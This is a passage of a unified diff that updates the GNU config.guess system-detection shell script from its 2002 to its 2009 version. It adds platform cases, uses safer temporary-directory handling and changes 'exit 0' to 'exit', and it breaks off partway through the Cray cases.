 
-timestamp='2002-01-23'
+timestamp='2009-04-27'
 
 # This file is free software; you can redistribute it and/or modify it
 # under the terms of the GNU General Public License as published by
@@ -17,13 +18,15 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA
+# 02110-1301, USA.
 #
 # As a special exception to the GNU General Public License, if you
 # distribute this file as part of a program that contains a
 # configuration script generated by Autoconf, you may include it under
 # the same distribution terms that you use for the rest of that program.
 
+
 # Originally written by Per Bothner <per@bothner.com>.
 # Please send patches to <config-patches@gnu.org>.  Submit a context
 # diff and a properly formatted ChangeLog entry.
@@ -53,8 +56,8 @@
 GNU config.guess ($timestamp)
 
 Originally written by Per Bothner.
-Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
-Free Software Foundation, Inc.
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001,
+2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc.
 
 This is free software; see the source for copying conditions.  There is NO
 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
@@ -66,11 +69,11 @@
 while test $# -gt 0 ; do
   case $1 in
     --time-stamp | --time* | -t )
-       echo "$timestamp" ; exit 0 ;;
+       echo "$timestamp" ; exit ;;
     --version | -v )
-       echo "$version" ; exit 0 ;;
+       echo "$version" ; exit ;;
     --help | --h* | -h )
-       echo "$usage"; exit 0 ;;
+       echo "$usage"; exit ;;
     -- )     # Stop option processing
        shift; break ;;
     - )	# Use stdin as input.
@@ -88,30 +91,42 @@
   exit 1
 fi
 
+trap 'exit 1' 1 2 15
 
-dummy=dummy-$$
-trap 'rm -f $dummy.c $dummy.o $dummy.rel $dummy; exit 1' 1 2 15
+# CC_FOR_BUILD -- compiler used by this script. Note that the use of a
+# compiler to aid in system detection is discouraged as it requires
+# temporary files to be created and, as you can see below, it is a
+# headache to deal with in a portable fashion.
 
-# CC_FOR_BUILD -- compiler used by this script.
 # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still
 # use `HOST_CC' if defined, but it is deprecated.
 
-set_cc_for_build='case $CC_FOR_BUILD,$HOST_CC,$CC in
- ,,)    echo "int dummy(){}" > $dummy.c ;
-	for c in cc gcc c89 ; do
-	  ($c $dummy.c -c -o $dummy.o) >/dev/null 2>&1 ;
-	  if test $? = 0 ; then
+# Portable tmp directory creation inspired by the Autoconf team.
+
+set_cc_for_build='
+trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ;
+trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ;
+: ${TMPDIR=/tmp} ;
+ { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } ||
+ { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } ||
+ { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } ||
+ { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ;
+dummy=$tmp/dummy ;
+tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ;
+case $CC_FOR_BUILD,$HOST_CC,$CC in
+ ,,)    echo "int x;" > $dummy.c ;
+	for c in cc gcc c89 c99 ; do
+	  if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then
 	     CC_FOR_BUILD="$c"; break ;
 	  fi ;
 	done ;
-	rm -f $dummy.c $dummy.o $dummy.rel ;
 	if test x"$CC_FOR_BUILD" = x ; then
 	  CC_FOR_BUILD=no_compiler_found ;
 	fi
 	;;
  ,,*)   CC_FOR_BUILD=$CC ;;
  ,*,*)  CC_FOR_BUILD=$HOST_CC ;;
-esac'
+esac ; set_cc_for_build= ;'
 
 # This is needed to find uname on a Pyramid OSx when run in the BSD universe.
 # (ghazi@noc.rutgers.edu 1994-08-24)
@@ -138,12 +153,15 @@
 	#
 	# Note: NetBSD doesn't particularly care about the vendor
 	# portion of the name.  We always set it to "unknown".
-	UNAME_MACHINE_ARCH=`(uname -p) 2>/dev/null` || \
-	    UNAME_MACHINE_ARCH=unknown
+	sysctl="sysctl -n hw.machine_arch"
+	UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \
+	    /usr/sbin/$sysctl 2>/dev/null || echo unknown)`
 	case "${UNAME_MACHINE_ARCH}" in
+	    armeb) machine=armeb-unknown ;;
 	    arm*) machine=arm-unknown ;;
 	    sh3el) machine=shl-unknown ;;
 	    sh3eb) machine=sh-unknown ;;
+	    sh5el) machine=sh5le-unknown ;;
 	    *) machine=${UNAME_MACHINE_ARCH}-unknown ;;
 	esac
 	# The Operating System including object format, if it has switched
@@ -166,141 +184,128 @@
 		;;
 	esac
 	# The OS release
-	release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
+	# Debian GNU/NetBSD machines have a different userland, and
+	# thus, need a distinct triplet. However, they do not need
+	# kernel version information, so it can be replaced with a
+	# suitable tag, in the style of linux-gnu.
+	case "${UNAME_VERSION}" in
+	    Debian*)
+		release='-gnu'
+		;;
+	    *)
+		release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
+		;;
+	esac
 	# Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM:
 	# contains redundant information, the shorter form:
 	# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used.
 	echo "${machine}-${os}${release}"
-	exit 0 ;;
-    amiga:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    arc:OpenBSD:*:*)
-	echo mipsel-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    hp300:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mac68k:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    macppc:OpenBSD:*:*)
-	echo powerpc-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mvme68k:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mvme88k:OpenBSD:*:*)
-	echo m88k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mvmeppc:OpenBSD:*:*)
-	echo powerpc-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    pmax:OpenBSD:*:*)
-	echo mipsel-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    sgi:OpenBSD:*:*)
-	echo mipseb-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    sun3:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    wgrisc:OpenBSD:*:*)
-	echo mipsel-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:OpenBSD:*:*)
-	echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
+	UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'`
+	echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE}
+	exit ;;
+    *:ekkoBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE}
+	exit ;;
+    *:SolidBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE}
+	exit ;;
+    macppc:MirBSD:*:*)
+	echo powerpc-unknown-mirbsd${UNAME_RELEASE}
+	exit ;;
+    *:MirBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE}
+	exit ;;
     alpha:OSF1:*:*)
-	if test $UNAME_RELEASE = "V4.0"; then
+	case $UNAME_RELEASE in
+	*4.0)
 		UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'`
-	fi
+		;;
+	*5.*)
+	        UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'`
+		;;
+	esac
+	# According to Compaq, /usr/sbin/psrinfo has been available on
+	# OSF/1 and Tru64 systems produced since 1995.  I hope that
+	# covers most systems running today.  This code pipes the CPU
+	# types through head -n 1, so we only detect the type of CPU 0.
+	ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^  The alpha \(.*\) processor.*$/\1/p' | head -n 1`
+	case "$ALPHA_CPU_TYPE" in
+	    "EV4 (21064)")
+		UNAME_MACHINE="alpha" ;;
+	    "EV4.5 (21064)")
+		UNAME_MACHINE="alpha" ;;
+	    "LCA4 (21066/21068)")
+		UNAME_MACHINE="alpha" ;;
+	    "EV5 (21164)")
+		UNAME_MACHINE="alphaev5" ;;
+	    "EV5.6 (21164A)")
+		UNAME_MACHINE="alphaev56" ;;
+	    "EV5.6 (21164PC)")
+		UNAME_MACHINE="alphapca56" ;;
+	    "EV5.7 (21164PC)")
+		UNAME_MACHINE="alphapca57" ;;
+	    "EV6 (21264)")
+		UNAME_MACHINE="alphaev6" ;;
+	    "EV6.7 (21264A)")
+		UNAME_MACHINE="alphaev67" ;;
+	    "EV6.8CB (21264C)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.8AL (21264B)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.8CX (21264D)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.9A (21264/EV69A)")
+		UNAME_MACHINE="alphaev69" ;;
+	    "EV7 (21364)")
+		UNAME_MACHINE="alphaev7" ;;
+	    "EV7.9 (21364A)")
+		UNAME_MACHINE="alphaev79" ;;
+	esac
+	# A Pn.n version is a patched version.
 	# A Vn.n version is a released version.
 	# A Tn.n version is a released field test version.
 	# A Xn.n version is an unreleased experimental baselevel.
 	# 1.2 uses "1.2" for uname -r.
-	cat <<EOF >$dummy.s
-	.data
-\$Lformat:
-	.byte 37,100,45,37,120,10,0	# "%d-%x\n"
-
-	.text
-	.globl main
-	.align 4
-	.ent main
-main:
-	.frame \$30,16,\$26,0
-	ldgp \$29,0(\$27)
-	.prologue 1
-	.long 0x47e03d80 # implver \$0
-	lda \$2,-1
-	.long 0x47e20c21 # amask \$2,\$1
-	lda \$16,\$Lformat
-	mov \$0,\$17
-	not \$1,\$18
-	jsr \$26,printf
-	ldgp \$29,0(\$26)
-	mov 0,\$16
-	jsr \$26,exit
-	.end main
-EOF
-	eval $set_cc_for_build
-	$CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null
-	if test "$?" = 0 ; then
-		case `./$dummy` in
-			0-0)
-				UNAME_MACHINE="alpha"
-				;;
-			1-0)
-				UNAME_MACHINE="alphaev5"
-				;;
-			1-1)
-				UNAME_MACHINE="alphaev56"
-				;;
-			1-101)
-				UNAME_MACHINE="alphapca56"
-				;;
-			2-303)
-				UNAME_MACHINE="alphaev6"
-				;;
-			2-307)
-				UNAME_MACHINE="alphaev67"
-				;;
-			2-1307)
-				UNAME_MACHINE="alphaev68"
-				;;
-		esac
-	fi
-	rm -f $dummy.s $dummy
-	echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
-	exit 0 ;;
+	echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
+	exit ;;
     Alpha\ *:Windows_NT*:*)
 	# How do we know it's Interix rather than the generic POSIX subsystem?
 	# Should we change UNAME_MACHINE based on the output of uname instead
 	# of the specific Alpha model?
 	echo alpha-pc-interix
-	exit 0 ;;
+	exit ;;
     21064:Windows_NT:50:3)
 	echo alpha-dec-winnt3.5
-	exit 0 ;;
+	exit ;;
     Amiga*:UNIX_System_V:4.0:*)
 	echo m68k-unknown-sysv4
-	exit 0;;
+	exit ;;
     *:[Aa]miga[Oo][Ss]:*:*)
 	echo ${UNAME_MACHINE}-unknown-amigaos
-	exit 0 ;;
+	exit ;;
     *:[Mm]orph[Oo][Ss]:*:*)
 	echo ${UNAME_MACHINE}-unknown-morphos
-	exit 0 ;;
+	exit ;;
     *:OS/390:*:*)
 	echo i370-ibm-openedition
-	exit 0 ;;
+	exit ;;
+    *:z/VM:*:*)
+	echo s390-ibm-zvmoe
+	exit ;;
+    *:OS400:*:*)
+        echo powerpc-ibm-os400
+	exit ;;
     arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*)
 	echo arm-acorn-riscix${UNAME_RELEASE}
-	exit 0;;
+	exit ;;
+    arm:riscos:*:*|arm:RISCOS:*:*)
+	echo arm-unknown-riscos
+	exit ;;
     SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*)
 	echo hppa1.1-hitachi-hiuxmpp
-	exit 0;;
+	exit ;;
     Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*)
 	# akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE.
 	if test "`(/bin/universe) 2>/dev/null`" = att ; then
@@ -308,25 +313,48 @@
 	else
 		echo pyramid-pyramid-bsd
 	fi
-	exit 0 ;;
+	exit ;;
     NILE*:*:*:dcosx)
 	echo pyramid-pyramid-svr4
-	exit 0 ;;
+	exit ;;
+    DRS?6000:unix:4.0:6*)
+	echo sparc-icl-nx6
+	exit ;;
+    DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*)
+	case `/usr/bin/uname -p` in
+	    sparc) echo sparc-icl-nx7; exit ;;
+	esac ;;
+    s390x:SunOS:*:*)
+	echo ${UNAME_MACHINE}-ibm-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+	exit ;;
     sun4H:SunOS:5.*:*)
 	echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
     sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
 	echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
-    i86pc:SunOS:5.*:*)
-	echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
+    i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*)
+	eval $set_cc_for_build
+	SUN_ARCH="i386"
+	# If there is a compiler, see if it is configured for 64-bit objects.
+	# Note that the Sun cc does not turn __LP64__ into 1 like gcc does.
+	# This test works for both compilers.
+	if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then
+	    if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \
+		(CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \
+		grep IS_64BIT_ARCH >/dev/null
+	    then
+		SUN_ARCH="x86_64"
+	    fi
+	fi
+	echo ${SUN_ARCH}-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+	exit ;;
     sun4*:SunOS:6*:*)
 	# According to config.sub, this is the proper way to canonicalize
 	# SunOS6.  Hard to guess exactly what SunOS6 will be like, but
 	# it's likely to be more like Solaris than SunOS4.
 	echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
     sun4*:SunOS:*:*)
 	case "`/usr/bin/arch -k`" in
 	    Series*|S4*)
@@ -335,12 +363,12 @@
 	esac
 	# Japanese Language versions have a version number like `4.1.3-JL'.
 	echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'`
-	exit 0 ;;
+	exit ;;
     sun3*:SunOS:*:*)
 	echo m68k-sun-sunos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     sun*:*:4.2BSD:*)
-	UNAME_RELEASE=`(head -1 /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
+	UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
 	test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3
 	case "`/bin/arch`" in
 	    sun3)
@@ -350,10 +378,10 @@
 		echo sparc-sun-sunos${UNAME_RELEASE}
 		;;
 	esac
-	exit 0 ;;
+	exit ;;
     aushp:SunOS:*:*)
 	echo sparc-auspex-sunos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     # The situation for MiNT is a little confusing.  The machine name
     # can be virtually everything (everything which is not
     # "atarist" or "atariste" at least should have a processor
@@ -364,37 +392,40 @@
     # be no problem.
     atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*)
         echo m68k-atari-mint${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*)
 	echo m68k-atari-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
     *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*)
         echo m68k-atari-mint${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*)
         echo m68k-milan-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
     hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*)
         echo m68k-hades-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
     *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*)
         echo m68k-unknown-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
+    m68k:machten:*:*)
+	echo m68k-apple-machten${UNAME_RELEASE}
+	exit ;;
     powerpc:machten:*:*)
 	echo powerpc-apple-machten${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     RISC*:Mach:*:*)
 	echo mips-dec-mach_bsd4.3
-	exit 0 ;;
+	exit ;;
     RISC*:ULTRIX:*:*)
 	echo mips-dec-ultrix${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     VAX*:ULTRIX*:*:*)
 	echo vax-dec-ultrix${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     2020:CLIX:*:* | 2430:CLIX:*:*)
 	echo clipper-intergraph-clix${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     mips:*:*:UMIPS | mips:*:*:RISCos)
 	eval $set_cc_for_build
 	sed 's/^	//' << EOF >$dummy.c
@@ -418,27 +449,33 @@
 	  exit (-1);
 	}
 EOF
-	$CC_FOR_BUILD $dummy.c -o $dummy \
-	  && ./$dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \
-	  && rm -f $dummy.c $dummy && exit 0
-	rm -f $dummy.c $dummy
+	$CC_FOR_BUILD -o $dummy $dummy.c &&
+	  dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` &&
+	  SYSTEM_NAME=`$dummy $dummyarg` &&
+	    { echo "$SYSTEM_NAME"; exit; }
 	echo mips-mips-riscos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     Motorola:PowerMAX_OS:*:*)
 	echo powerpc-motorola-powermax
-	exit 0 ;;
+	exit ;;
+    Motorola:*:4.3:PL8-*)
+	echo powerpc-harris-powermax
+	exit ;;
+    Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*)
+	echo powerpc-harris-powermax
+	exit ;;
     Night_Hawk:Power_UNIX:*:*)
 	echo powerpc-harris-powerunix
-	exit 0 ;;
+	exit ;;
     m88k:CX/UX:7*:*)
 	echo m88k-harris-cxux7
-	exit 0 ;;
+	exit ;;
     m88k:*:4*:R4*)
 	echo m88k-motorola-sysv4
-	exit 0 ;;
+	exit ;;
     m88k:*:3*:R3*)
 	echo m88k-motorola-sysv3
-	exit 0 ;;
+	exit ;;
     AViiON:dgux:*:*)
         # DG/UX returns AViiON for all architectures
         UNAME_PROCESSOR=`/usr/bin/uname -p`
@@ -454,29 +491,29 @@
 	else
 	    echo i586-dg-dgux${UNAME_RELEASE}
 	fi
- 	exit 0 ;;
+ 	exit ;;
     M88*:DolphinOS:*:*)	# DolphinOS (SVR3)
 	echo m88k-dolphin-sysv3
-	exit 0 ;;
+	exit ;;
     M88*:*:R3*:*)
 	# Delta 88k system running SVR3
 	echo m88k-motorola-sysv3
-	exit 0 ;;
+	exit ;;
     XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3)
 	echo m88k-tektronix-sysv3
-	exit 0 ;;
+	exit ;;
     Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD)
 	echo m68k-tektronix-bsd
-	exit 0 ;;
+	exit ;;
     *:IRIX*:*:*)
 	echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'`
-	exit 0 ;;
+	exit ;;
     ????????:AIX?:[12].1:2)   # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
-	echo romp-ibm-aix      # uname -m gives an 8 hex-code CPU id
-	exit 0 ;;              # Note that: echo "'`uname -s`'" gives 'AIX '
+	echo romp-ibm-aix     # uname -m gives an 8 hex-code CPU id
+	exit ;;               # Note that: echo "'`uname -s`'" gives 'AIX '
     i*86:AIX:*:*)
 	echo i386-ibm-aix
-	exit 0 ;;
+	exit ;;
     ia64:AIX:*:*)
 	if [ -x /usr/bin/oslevel ] ; then
 		IBM_REV=`/usr/bin/oslevel`
@@ -484,7 +521,7 @@
 		IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
 	fi
 	echo ${UNAME_MACHINE}-ibm-aix${IBM_REV}
-	exit 0 ;;
+	exit ;;
     *:AIX:2:3)
 	if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then
 		eval $set_cc_for_build
@@ -499,17 +536,20 @@
 			exit(0);
 			}
 EOF
-		$CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm -f $dummy.c $dummy && exit 0
-		rm -f $dummy.c $dummy
-		echo rs6000-ibm-aix3.2.5
+		if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy`
+		then
+			echo "$SYSTEM_NAME"
+		else
+			echo rs6000-ibm-aix3.2.5
+		fi
 	elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then
 		echo rs6000-ibm-aix3.2.4
 	else
 		echo rs6000-ibm-aix3.2
 	fi
-	exit 0 ;;
-    *:AIX:*:[45])
-	IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | head -1 | awk '{ print $1 }'`
+	exit ;;
+    *:AIX:*:[456])
+	IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'`
 	if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then
 		IBM_ARCH=rs6000
 	else
@@ -521,28 +561,28 @@
 		IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
 	fi
 	echo ${IBM_ARCH}-ibm-aix${IBM_REV}
-	exit 0 ;;
+	exit ;;
     *:AIX:*:*)
 	echo rs6000-ibm-aix
-	exit 0 ;;
+	exit ;;
     ibmrt:4.4BSD:*|romp-ibm:BSD:*)
 	echo romp-ibm-bsd4.4
-	exit 0 ;;
+	exit ;;
     ibmrt:*BSD:*|romp-ibm:BSD:*)            # covers RT/PC BSD and
 	echo romp-ibm-bsd${UNAME_RELEASE}   # 4.3 with uname added to
-	exit 0 ;;                           # report: romp-ibm BSD 4.3
+	exit ;;                             # report: romp-ibm BSD 4.3
     *:BOSX:*:*)
 	echo rs6000-bull-bosx
-	exit 0 ;;
+	exit ;;
     DPX/2?00:B.O.S.:*:*)
 	echo m68k-bull-sysv3
-	exit 0 ;;
+	exit ;;
     9000/[34]??:4.3bsd:1.*:*)
 	echo m68k-hp-bsd
-	exit 0 ;;
+	exit ;;
     hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*)
 	echo m68k-hp-bsd4.4
-	exit 0 ;;
+	exit ;;
     9000/[34678]??:HP-UX:*:*)
 	HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
 	case "${UNAME_MACHINE}" in
@@ -598,17 +638,37 @@
                   exit (0);
               }
 EOF
-		    (CCOPTS= $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null) && HP_ARCH=`./$dummy`
-		    if test -z "$HP_ARCH"; then HP_ARCH=hppa; fi
-		    rm -f $dummy.c $dummy
+		    (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy`
+		    test -z "$HP_ARCH" && HP_ARCH=hppa
 		fi ;;
 	esac
+	if [ ${HP_ARCH} = "hppa2.0w" ]
+	then
+	    eval $set_cc_for_build
+
+	    # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating
+	    # 32-bit code.  hppa64-hp-hpux* has the same kernel and a compiler
+	    # generating 64-bit code.  GNU and HP use different nomenclature:
+	    #
+	    # $ CC_FOR_BUILD=cc ./config.guess
+	    # => hppa2.0w-hp-hpux11.23
+	    # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess
+	    # => hppa64-hp-hpux11.23
+
+	    if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) |
+		grep __LP64__ >/dev/null
+	    then
+		HP_ARCH="hppa2.0w"
+	    else
+		HP_ARCH="hppa64"
+	    fi
+	fi
 	echo ${HP_ARCH}-hp-hpux${HPUX_REV}
-	exit 0 ;;
+	exit ;;
     ia64:HP-UX:*:*)
 	HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
 	echo ia64-hp-hpux${HPUX_REV}
-	exit 0 ;;
+	exit ;;
     3050*:HI-UX:*:*)
 	eval $set_cc_for_build
 	sed 's/^	//' << EOF >$dummy.c
@@ -636,166 +696,247 @@
 	  exit (0);
 	}
 EOF
-	$CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm -f $dummy.c $dummy && exit 0
-	rm -f $dummy.c $dummy
+	$CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` &&
+		{ echo "$SYSTEM_NAME"; exit; }
 	echo unknown-hitachi-hiuxwe2
-	exit 0 ;;
+	exit ;;
     9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* )
 	echo hppa1.1-hp-bsd
-	exit 0 ;;
+	exit ;;
     9000/8??:4.3bsd:*:*)
 	echo hppa1.0-hp-bsd
-	exit 0 ;;
+	exit ;;
     *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*)
 	echo hppa1.0-hp-mpeix
-	exit 0 ;;
+	exit ;;
     hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* )
 	echo hppa1.1-hp-osf
-	exit 0 ;;
+	exit ;;
     hp8??:OSF1:*:*)
 	echo hppa1.0-hp-osf
-	exit 0 ;;
+	exit ;;
     i*86:OSF1:*:*)
 	if [ -x /usr/sbin/sysversion ] ; then
 	    echo ${UNAME_MACHINE}-unknown-osf1mk
 	else
 	    echo ${UNAME_MACHINE}-unknown-osf1
 	fi
-	exit 0 ;;
+	exit ;;
     parisc*:Lites*:*:*)
 	echo hppa1.1-hp-lites
-	exit 0 ;;
+	exit ;;
     C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*)
 	echo c1-convex-bsd
-        exit 0 ;;
+        exit ;;
     C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*)
 	if getsysinfo -f scalar_acc
 	then echo c32-convex-bsd
 	else echo c2-convex-bsd
 	fi
-        exit 0 ;;
+        exit ;;
     C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*)
 	echo c34-convex-bsd
-        exit 0 ;;
+        exit ;;
     C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*)
 	echo c38-convex-bsd
-        exit 0 ;;
+        exit ;;
     C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*)
 	echo c4-convex-bsd
-        exit 0 ;;
-    CRAY*X-MP:*:*:*)
-	echo xmp-cray-unicos
-        exit 0 ;;
+        exit ;;
     CRAY*Y-MP:*:*:*)
 	echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*[A-Z]90:*:*:*)
 	echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \
 	| sed -e 's/CRAY.*\([A-Z]90\)/\1/' \
 	      -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \
 	      -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*TS:*:*:*)
 	echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
-    CRAY*T3D:*:*:*)
-	echo alpha-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*T3E:*:*:*)
 	echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*SV1:*:*:*)
